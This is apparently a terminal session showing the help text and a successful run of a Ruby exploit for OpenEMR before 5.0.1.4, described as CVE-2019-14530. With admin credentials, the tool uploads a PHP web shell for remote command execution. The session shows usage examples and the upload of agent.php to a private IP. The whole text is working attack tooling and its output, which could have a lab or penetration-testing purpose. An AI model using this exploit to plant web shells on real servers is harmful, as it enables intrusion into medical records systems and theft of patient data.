$ ruby exploit.rb -h
OpenEMR < 5.0.1.4 - (Authenticated) File upload - Remote command execution

Source: https://github.com/sec-it/exploit-CVE-2019-14530

Usage:
  exploit.rb exploit <url> <filename> <username> <password> [--debug]
  exploit.rb -h | --help

Options:
  <url>       Root URL (base path) including HTTP scheme, port and root folder
  <filename>  Filename of the shell to be uploaded
  <username>  Username of the admin
  <password>  Password of the admin
  --debug     Display arguments
  -h, --help  Show this screen

Examples:
  exploit.rb exploit http://example.org/openemr shell.php admin pass
  exploit.rb exploit https://example.org:5000/ shell.php admin pass

$ ruby exploit.rb exploit http://172.24.0.3 agent.php admin pass
[+] File uploaded:
http://172.24.0.3/sites/default/images/agent.php